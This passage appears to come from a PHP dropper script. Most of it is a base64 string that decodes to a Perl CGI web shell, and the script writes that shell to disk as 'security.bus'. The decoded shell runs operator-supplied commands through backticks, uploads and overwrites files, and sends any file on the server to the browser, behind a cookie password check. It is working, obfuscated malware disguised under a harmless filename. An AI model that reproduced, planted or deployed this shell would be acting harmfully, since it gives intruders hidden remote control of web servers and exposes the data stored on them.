g0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBjb21tYW5kcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KJFByb21wdA0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlRG93bmxvYWRGb3JtDQp7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7DQoJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+DQokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQpEb3dubG9hZDogPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCjwvZm9ybT4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KPGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQokUHJvbXB0IHVwbG9hZDxicj48YnI+DQpGaWxlbmFtZTogPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPg0KT3B0aW9uczogJm5ic3A7PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJvIiB2YWx1ZT0ib3ZlcndyaXRlIj4NCk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8YnI+PGJyPg0KVXBsb2FkOiZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9InVwbG9hZCI+DQo8L2Zvcm0+DQo8L2NvZGU+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bw0KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzDQojIG5ldmVyIGNhbGxlZCB3aGVuIHRoZSBzY3JpcHQgaXMgcnVubmluZyBvbiBOVC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBDb21tYW5kVGltZW91dA0Kew0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgkJcHJpbnQgPDxFTkQ7DQo8L3htcD4NCjxjb2RlPg0KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLg0KPGJyPktpbGxlZCBpdCENCjxjb2RlPg0KRU5EDQoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCQlleGl0Ow0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBleGVjdXRlIGNvbW1hbmRzLiBJdCBkaXNwbGF5cyB0aGUgb3V0cHV0IG9mIHRoZQ0KIyBjb21tYW5kIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgYW5vdGhlciBjb21tYW5kLiBUaGUgY2hhbmdlIGRpcmVjdG9yeQ0KIyBjb21tYW5kIGlzIGhhbmRsZWQgZGlmZmVyZW50bHkuIEluIHRoaXMgY2FzZSwgdGhlIG5ldyBkaXJlY3RvcnkgaXMgc3RvcmVkIGluDQojIGFuIGludGVybmFsIHZhcmlhYmxlIGFuZCBpcyB1c2VkIGVhY2ggdGltZSBhIGNvbW1hbmQgaGFzIHRvIGJlIGV4ZWN1dGVkLiBUaGUNCiMgb3V0cHV0IG9mIHRoZSBjaGFuZ2UgZGlyZWN0b3J5IGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZCB0byB0aGUgdXNlcnMNCiMgdGhlcmVmb3JlIGVycm9yIG1lc3NhZ2VzIGNhbm5vdCBiZSBkaXNwbGF5ZWQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgRXhlY3V0ZUNvbW1hbmQNCnsNCglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kDQoJew0KCQkjIHdlIGNoYW5nZSB0aGUgZGlyZWN0b3J5IGludGVybmFsbHkuIFRoZSBvdXRwdXQgb2YgdGhlDQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLg0KCQkNCgkJJE9sZERpciA9ICRDdXJyZW50RGlyOw0KCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkICQxIi4kQ21kU2VwLiRDbWRQd2Q7DQoJCWNob3AoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkUHJvbXB0ID0gJFdpbk5UID8gIiRPbGREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkT2xkRGlyXVwkICI7DQoJCXByaW50ICI8Y29kZT4kUHJvbXB0ICRSdW5Db21tYW5kPC9jb2RlPiI7DQoJfQ0KCWVsc2UgIyBzb21lIG90aGVyIGNvbW1hbmQsIGRpc3BsYXkgdGhlIG91dHB1dA0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCgkJcHJpbnQgIjxjb2RlPiRQcm9tcHQgJFJ1bkNvbW1hbmQ8L2NvZGU+PHhtcD4iOw0KCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7DQoJCWlmKCEkV2luTlQpDQoJCXsNCgkJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7DQoJCQlhbGFybSgkQ29tbWFuZFRpbWVvdXREdXJhdGlvbik7DQoJCX0NCgkJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZA0KCQl7DQoJCQkkfD0xOw0KCQkJJENvbW1hbmQgLj0gIiB8IjsNCgkJCW9wZW4oQ29tbWFuZE91dHB1dCwgJENvbW1hbmQpOw0KCQkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQ0KCQkJew0KCQkJCSRfID1+IHMvKFxufFxyXG4pJC8vOw0KCQkJCXByaW50ICIkX1xuIjsNCgkJCX0NCgkJCSR8PTA7DQoJCX0NCgkJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzDQoJCXsNCgkJCXByaW50IGAkQ29tbWFuZGA7DQoJCX0NCgkJaWYoISRXaW5OVCkNCgkJew0KCQkJYWxhcm0oMCk7DQoJCX0NCgkJcHJpbnQgIjwveG1wPiI7DQoJfQ0KCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXINCiMgdG8gZG93bmxvYWQgdGhlIHNwZWNpZmllZCBmaWxlLiBUaGUgcGFnZSBhbHNvIGNvbnRhaW5zIGEgYXV0by1yZWZyZXNoDQojIGZlYXR1cmUgdGhhdCBzdGFydHMgdGhlIGRvd25sb2FkIGF1dG9tYXRpY2FsbHkuDQojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnREb3dubG9hZExpbmtQYWdlDQp7DQoJbG9jYWwoJEZpbGVVcmwpID0gQF87DQoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzDQoJew0KCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyDQoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsNCgkJJERvd25sb2FkTGluayA9ICIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZmPSRGaWxlVXJsJm89Z28iOw0KCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJCXByaW50IDw8RU5EOw0KPGNvZGU+DQpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4NCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LA0KPGEgaHJlZj0iJERvd25sb2FkTGluayI+Q2xpY2sgSGVyZTwvYT4uDQo8L2NvZGU+DQpFTkQNCgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJfQ0KCWVsc2UgIyBmaWxlIGRvZXNuJ3QgZXhpc3QNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsNCgkJcHJpbnQgIjxjb2RlPkZhaWxlZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCE8L2NvZGU+IjsNCgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlDQojIGJyb3dzZXIsIHNvIHRoYXQgaXQgY2FuIGJlIGRvd25sb2FkZWQgYnkgdGhlIHVzZXIuDQojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBzZW50Lg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyDQp7DQoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOw0KCWlmKG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcNCgl7DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJYmlubW9kZShTRU5ERklMRSk7DQoJCQliaW5tb2RlKFNURE9VVCk7DQoJCX0NCgkJJEZpbGVTaXplID0gKHN0YXQoJFNlbmRGaWxlKSlbN107DQoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsNCgkJcHJpbnQgIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOw0KCQlwcmludCAiQ29udGVudC1MZW5ndGg6ICRGaWxlU2l6ZVxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7DQoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOw0KCQljbG9zZShTRU5ERklMRSk7DQoJfQ0KCWVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxlDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCXByaW50ICI8Y29kZT5GYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAkITwvY29kZT4iOw0KCQkmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0NCn0NCg0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlDQojIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsgdGhyb3VnaCB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMgVGhpcyBmdW5jdGlvbiBpcyBhbHNvIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGNsaWNrcyBvbiB0aGF0IGxpbmsuIEluIHRoaXMgY2FzZSwNCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCZWdpbkRvd25sb2FkDQp7DQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfA0KCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUNCiMgZmlsZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBzdGFydHMgdGhlIHVwbG9hZCBwcm9jZXNzLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFVwbG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4NCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQ0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiZiIpOw0KCQkmUHJpbnRGaWxlVXBsb2FkRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgkJcmV0dXJuOw0KCX0NCgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoNCgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2Vzcw0KCXByaW50ICI8Y29kZT5VcGxvYWRpbmcgJFRyYW5zZmVyRmlsZSB0byAkQ3VycmVudERpci4uLjxicj4iOw0KDQoJIyBnZXQgdGhlIGZ1bGxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgY3JlYXRlZA0KCWNob3AoJFRhcmdldE5hbWUpIGlmICgkVGFyZ2V0TmFtZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7DQoJJFRhcmdldE5hbWUgLj0gJFBhdGhTZXAuJDE7DQoNCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsNCgkjIGlmIHRoZSBmaWxlIGV4aXN0cyBhbmQgd2UgYXJlIG5vdCBzdXBwb3NlZCB0byBvdmVyd3JpdGUgaXQNCglpZigtZSAkVGFyZ2V0TmFtZSAmJiAkT3B0aW9ucyBuZSAib3ZlcndyaXRlIikNCgl7DQoJCXByaW50ICJGYWlsZWQ6IERlc3RpbmF0aW9uIGZpbGUgYWxyZWFkeSBleGlzdHMuPGJyPiI7DQoJfQ0KCWVsc2UgIyBmaWxlIGlzIG5vdCBwcmVzZW50DQoJew0KCQlpZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkNCgkJew0KCQkJYmlubW9kZShVUExPQURGSUxFKSBpZiAkV2luTlQ7DQoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsNCgkJCWNsb3NlKFVQTE9BREZJTEUpOw0KCQkJcHJpbnQgIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOw0KCQkJcHJpbnQgIkZpbGUgUGF0aDogJFRhcmdldE5hbWU8YnI+IjsNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCXByaW50ICJGYWlsZWQ6ICQhPGJyPiI7DQoJCX0NCgl9DQoJcHJpbnQgIjwvY29kZT4iOw0KCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQ0KIyBmaWxlbmFtZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluaw0KIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBEb3dubG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgZG93bmxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJCXJldHVybjsNCgl9DQoJDQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfA0KCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQomUmVhZFBhcnNlOw0KJkdldENvb2tpZXM7DQoNCiRTY3JpcHRMb2NhdGlvbiA9ICRFTlZ7J1NDUklQVF9OQU1FJ307DQokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307DQokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9Ow0KJFJ1bkNvbW1hbmQgPSAkaW57J2MnfTsNCiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsNCiRPcHRpb25zID0gJGlueydvJ307DQoNCiRBY3Rpb24gPSAkaW57J2EnfTsNCiRBY3Rpb24gPSAibG9naW4iIGlmKCRBY3Rpb24gZXEgIiIpOyAjIG5vIGFjdGlvbiBzcGVjaWZpZWQsIHVzZSBkZWZhdWx0DQoNCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQNCiRDdXJyZW50RGlyID0gJGlueydkJ307DQpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7DQoNCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsNCg0KaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pICMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4NCnsNCgkmUGVyZm9ybUxvZ2luOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpICMgdXNlciB3YW50cyB0byBydW4gYSBjb21tYW5kDQp7DQoJJkV4ZWN1dGVDb21tYW5kOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAidXBsb2FkIikgIyB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUNCnsNCgkmVXBsb2FkRmlsZTsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQ0Kew0KCSZEb3dubG9hZEZpbGU7DQp9DQplbHNpZigkQWN0aW9uIGVxICJsb2dvdXQiKSAjIHVzZXIgd2FudHMgdG8gbG9nb3V0DQp7DQoJJlBlcmZvcm1Mb2dvdXQ7DQp9DQoNCg0K';
file_put_contents('security.bus',base64_decode($fileencode));
